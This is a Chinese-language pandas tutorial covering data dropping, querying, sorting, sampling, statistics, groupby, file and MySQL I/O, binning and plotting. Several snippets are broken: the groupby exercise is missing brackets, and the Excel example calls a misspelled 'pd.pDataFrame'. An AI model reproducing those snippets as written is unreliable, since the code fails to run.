可以求得DataFrame对象每一列的标准差df.std()df.drop(): 删除特定索引df4 = df.copy() df4 df4.drop('鲁班') # 默认删除行 df4.drop('Java', axis=1) # 删除列 df4.drop(index='鲁班') # 删除行 df4.drop(columns='H5') # 删除列 df4.drop(columns=['Java', 'Pandas']) # 同时删除多列unique() : 唯一,去重index = ['鲁班', '张三丰', '张无忌', '杜甫', '李白'] columns = ['Python', 'Java', 'H5', 'Pandas'] data = np.random.randint(0, 10, size=(5, 4)) df = pd.DataFrame(data=data, index=index, columns=columns) df # unique() : 要用于Series, 不能用于DataFrame df['Python'].unique()query() : 按条件查询# ==, >, <, # in # and & # or | df.query('Python == 5') df.query('Python > 5') df.query('Python==5 and Java==5') df.query('Python==5 & Java==5') df.query('Python==5 or Java==6') df.query('Python==5 | Java==6') # 使用变量 n = 5 df.query('Python > @n') # @n 使用变量 df.query('Python in [3, 4, 5, 6]') m = [3, 4, 5, 6] df.query('Python in @m')df.sort_values(): 根据值排序df.sort_index(): 根据索引排序index = ['鲁班', '张三丰', '张无忌', '杜甫', '李白'] columns = ['Python', 'Java', 'H5', 'Pandas'] data = np.random.randint(0, 100, size=(5, 4)) df = pd.DataFrame(data=data, index=index, columns=columns) df df.sort_values('Python') # 默认按照列名排序，默认升序 df.sort_values('Python', ascending=False) # 降序 df.sort_values('鲁班', axis=1) # 按照行索引或列索引排序 df.sort_index(ascending=True, axis=1)df.info(): 查看数据信息df.info()练习:新建一个形状为10000*3的标准正态分布的DataFrame，去除掉所有满足以下情况的行：其中任一元素绝对值大于3倍标准差df = pd.DataFrame(np.random.randn(10000, 3)) df.head() # 标准差 df.std() # 绝对值 df.abs() # cond: 找到大于3倍标准差的值 cond = df.abs() > df.std() * 3 # cond.sum() cond # 找到有True（大于3倍标准差的值）的行 cond2 = cond.any(axis=1) cond2 # 去除大于3倍标准差的值，取不满足大于3倍标准差的值 df.loc[~cond2]4. 抽样使用.take()函数排序可以借助np.random.permutation()函数随机排序# 使用前面的df2 df2.take([4, 1, 2, 3, 0]) # 行排列 df2.take([1, 0, 2, 3, 4, 5, 6], axis=1) # 列排列 # 随机排序 np.random.permutation([0, 1, 2, 3, 4, 5]) # 无放回抽样：依次拿取，没有重复值 df2.take(np.random.permutation([0, 1, 2, 3, 4])) # 有放回抽样： 可能出现重复值 # 当DataFrame规模足够大时，直接使用np.random.randint()函数，就配合take()函数实现随机抽样 np.random.randint(0, 10, size=10) df2.take(np.random.randint(0, 5, size=5))八、Pandas数学函数聚合函数df = pd.DataFrame(data=np.random.randint(0,100,size = (20,3))) df.count() # 非空值的数量 df.max() # 最大值，axis=0/1 df.min() # 最小值, axis=0/1 df.median() # 中位数 df.sum() # 求和 df.mean(axis=1) # 每一行的平均值 df[0].value_counts() # 统计元素出现次数 df.cumsum() # 累加 df.cumprod() # 累乘 # 方差: 当数据分布比较分散（即数据在平均数附近波动较大）时，各个数据与平均数的差的平方和较大，方差就较大；当数据分布比较集中时，各个数据与平均数的差的平方和较小。因此方差越大，数据的波动越大；方差越小，数据的波动就越小 df.var() # 方差 # 标准差 = 方差的算术平方根 df.std() # 标准差其他数学函数协方差- 两组数值中每对变量的偏差乘积的平均值 - 协方差>0 : 表式两组变量正相关 - 如果两个变量的变化趋势一致，也就是说如果其中一个大于自身的期望值时另外一个也大于自身的期望值，那么两个变量之间的协方差就是正值； - 协方差<0 : 表式两组变量负相关 - 如果两个变量的变化趋势相反，即其中一个变量大于自身的期望值时另外一个却小于自身的期望值，那么两个变量之间的协方差就是负值。 - 协方差=0 : 表式两组变量不相关相关系数- 相关系数r = X与Y的协方差 / (X的标准差 * Y的标准差) - 相关系数值的范围在-1和+1之间 - r＞0为正相关，r＜0为负相关。r＝0表示不相关 - r 的绝对值越大，相关程度越高 - 两个变量之间的相关程度，一般划分为四级： - 如两者呈正相关，r呈正值，r=1时为完全正相关； - 如两者呈负相关则r呈负值，而r=-1时为完全负相关，完全正相关或负相关时，所有图点都在直线回归线上；点分布在直线回归线上下越离散，r的绝对值越小。 - 相关系数的绝对值越接近1，相关越密切；越接近于0，相关越不密切。 - 当r=0时，说明X和Y两个变量之间无直线关系。 - 通常｜r｜大于0.8时，认为两个变量有很强的线性相关性。 # 协方差 # 两组数值中每对变量的偏差乘积的平均值 df.cov() df[0].cov(df[1]) # 第0列 和 第1列的协方差 # 相关系数 = X与Y的协方差 / (X的标准差 * Y的标准差) df.corr() # 所有属性相关性系数 df.corrwith(df[2]) # 单一属性相关性系数协方差： $Cov(X,Y) = \frac{\sum\limits_1^n(X_i - \overline{X})(Y_i - \overline{Y})}{n-1}$相关性系数：$r(X,Y) = \frac{Cov(X,Y)}{\sqrt{Var[X]*Var[Y]}}$九、 数据分组聚合数据聚合是数据处理的最后一步，通常是要使每一个数组生成一个单一的数值。分组数据聚合处理：分组：先把数据分为几组用函数处理：为不同组的数据应用不同的函数以转换数据合并：把不同组得到的结果合并起来数据分类处理的核心： groupby()函数# 创建DataFrame df = pd.DataFrame( { 'color': ['green', 'green', 'yellow', 'blue', 'blue', 'yellow', 'yellow'], 'price': [4, 5, 3, 2, 7, 8, 9] } ) df # 使用.groups属性查看各行的分组情况： # 根据color进行分组 df.groupby(by='color') df.groupby(by='color').groups # 分组 + 聚合 df.groupby(by='color').sum()分组聚合练习：假设菜市场张大妈在卖菜，有以下属性：菜品(item)：萝卜，白菜，辣椒，冬瓜颜色(color)：白，青，红重量(weight)价格(price)要求以属性作为列索引，新建一个ddd对ddd进行聚合操作，求出颜色为白色的价格总和对ddd进行聚合操作，求出萝卜的所有重量以及平均价格使用merge合并总重量及平均价格ddd = pd.DataFrame( data={ "item": ["萝卜","白菜","辣椒","冬瓜","萝卜","白菜","辣椒","冬瓜"], 'color':["白","青","红","白","青","红","白","青"], 'weight': [10,20,10,10,30,40,50,60], 'price': [0.99, 1.99, 2.99, 3.99, 4, 5, 6,7] } ) ddd # 2. 对ddd进行聚合操作，求出颜色为白色的价格总和 ddd.groupby('color')['price'].sum() # Series ddd.groupby('color')'price'.sum() # DataFrame ddd.groupby('color')'price'.sum() .loc'白' # 3. 对ddd进行聚合操作，求出萝卜的所有重量以及平均价格 df1 = ddd.groupby('item')'weight'.sum() df2= ddd.groupby('item')'price'.mean() # 4.使用merge合并总重量及平均价格 # display(df1, df2) df1.merge(df2, left_index=True, right_index=True)十、Pandas加载数据csv数据data = np.random.randint(0,50,size=(10,5)) df = pd.DataFrame(data=data, columns=['Python','Java','Go','C','JS']) # 保存到csv df.to_csv('data.csv', sep=',', # 文本分隔符，默认是逗号 header=True, # 是否保存列索引 # 是否保存行索引，保存行索引，文件被加载时，默认行索引会作为一列 index=True) # 加载csv数据 pd.read_csv('data.csv', sep=',', # 默认是逗号 header=[0], # 指定列索引 index_col=0) # 指定行索引 pd.read_table('data.csv', # 和read_csv类似，读取限定分隔符的文本文件 sep=',', header=[0], # 指定列索引 index_col=0 # 指定行索引 ) excel数据data = np.random.randint(0, 50, size=(10,5)) df = pd.pDataFrame(data=data, columns=['Python','Java','Go','C','JS']) # 保存到excel文件 df.to_excel('data.xls', sheet_name='sheet1',# Excel中工作表的名字 header=True, # 是否保存列索引 index=False) # 是否保存行索引 # 读取excel pd.read_excel('data.xls', sheet_name=0, # 读取哪一个Excel中工作表，默认第一个, 也可以写工作表名称 header=0, # 使用第一行数据作为列索引 names=list('ABCDE'), # 替换行索引 index_col=1) # 指定行索引，B作为行索引MySQL数据需要安装pymysqlpip install pymysql -i https://pypi.tuna.tsinghua.edu.cn/simple需要安装sqlalchemy:pip install sqlalchemy -i https://pypi.tuna.tsinghua.edu.cn/simplesqlalchemy是Python语言下的数据库引擎库, 在Django/Flask中常用ORM库from sqlalchemy import create_engine data = np.random.randint(0,150,size=(150,3)) df = pd.DataFrame(data=data, columns=['Python','Pandas','PyTorch']) # 数据库连接 # root: MySQL用户名 # 123456: MySQL密码 # localhost: 本机 # db: 数据库名(提前创建) conn = create_engine('mysql+pymysql://root:123456@localhost/db') # 保存到MySQL df.to_sql('score', # 表名(会自动创建表) conn, # 数据库连接 index=False, # 是否保存行索引 if_exists='append') # 如果表名存在，追加数据 # 从MySQL中加载数据 pd.read_sql('select * from score', # sql查询语句 conn, # 数据库连接 index_col='Python') # 指定行索引名十一、Pandas分箱操作分箱操作就是将连续型数据离散化。分箱操作分为等距分箱和等频分箱。data = np.random.randint(0,150,size=(150,3)) df = pd.DataFrame(data=data, columns=['Python','Pandas','PyTorch']) # 对Python列进行分箱 df.Python.values # 1、等宽分箱 pd.cut(df.Python, bins=4) # 指定宽度分箱 pd.cut(df.Python, # 分箱数据 bins=[0, 30, 60, 80, 100], # 分箱断点 right=False, # 左闭右开 labels=['D','C','B','A']) # 分箱后分类标签 # 2、等频分箱 pd.qcut(df.Python, # 分箱数据 q=4, # 4等份 labels=['差', '中', '良', '优']) # 分箱后分类标签十二、Pandas绘图Series和DataFrame都有一个用于生成各类图表的plot方法Pandas的绘图是基于Matplotlib， 可以快速实现基本图形的绘制，复杂的图形还是需要用Matplotlib常见可视化图形:折线图条形图/柱形图饼图散点图箱型图面积图直方图1、折线图# 折线图 # Series画图 s = pd.Series([100, 200, 300, 200, 150, 400, 250]) s.plot() # sin曲线：正弦曲线 x = np.arange(0, 2*np.pi, 0.1) y = np.sin(x) s = pd.Series(data=y, index=x) s.plot() # DataFrame画图 data = np.random.randint(50, 100, size=(5, 6)) index = ['1st', '2nd', '3th', '4th', '5th'] columns = ['Jeff', 'Jack', 'Rose', 'Lucy', 'Lily', 'Bob'] df = pd.DataFrame(data=data, index=index, columns=columns) df.plot() # 一列一根线2、条形图/柱形图# 条形图/柱形图 df = pd.DataFrame(data=np.random.rand(10,4)) df.plot.bar(stacked=True) # stacked 是否堆叠 # Series画图 # 可以使用plot中的kind属性来绘制不同图形 s = pd.Series(data=[100, 110, 130, 200]) s.index = ['Jeff', "千锋", 'Python', 'Rose'] s.plot(kind='bar') # 柱状图 # 或 s.plot(kind='barh') # 条形图 # kind: # - 'line' : line plot (default) # - 'bar' : vertical bar plot # - 'barh' : horizontal bar plot # - 'hist' : histogram # - 'box' : boxplot # - 'kde' : Kernel Density Estimation plot # - 'density' : same as 'kde' # - 'area' : area plot # - 'pie' : pie plot # - 'scatter' : scatter plot # - 'hexbin' : hexbin plot. # DataFrame画图 data = np.random.randint(0, 100, size=(4, 3)) index = list('ABCD') columns = ['Python', 'C', 'Java'] df = pd.DataFrame(data=data, index=index, columns=columns) df.plot(kind='bar') # 或 df.plot(kind='barh')3、饼图# 饼图 df = pd.DataFrame(data=np.random.rand(4,2), index=list('ABCD'), columns=['Python','Java']) # subplots=True 子图:同时画多个图 # autopct='%.1f%%' 显示占比,保留1位小数 df.plot.pie(subplots=True, figsize=(8,8), autopct='%.1f%%')4、散点图散点图是观察两个一维数据数列之间的关系的有效方法,DataFrame对象可用# 散点图 data = np.random.normal(size=(1000, 2)) df = pd.DataFrame(data=data, columns=list('AB')) df.head() # scatter： 散点图 # x='A' ：使用A列作为x轴 # y='B' ：使用B列作为y轴 df.plot(kind='scatter', x='A', y='B') # 或 df.plot.scatter(x='A', y='B') # A和B关系绘制5、面积图# 面积图 df = pd.DataFrame(data=np.random.rand(10, 4), columns=list('ABCD')) df.plot.area(stacked=True) # stacked 是否堆叠6、箱型图# 箱型图 df = pd.DataFrame(data=np.random.rand(10, 5), columns=list('ABCDE')) df.plot.box() # 或 df.plot(kind='box')7、直方图# 直方图 df = pd.DataFrame({'A': np.random.randn(1000) + 1, 'B': np.random.randn(1000), 'C': np.random.randn(1000) - 1}) df.plot.hist(alpha=0.5) # 带透明度直方图 df.plot.hist(stacked=True) # 堆叠图 # 或 df['A'].plot(kind='hist') df.plot(kind='hist')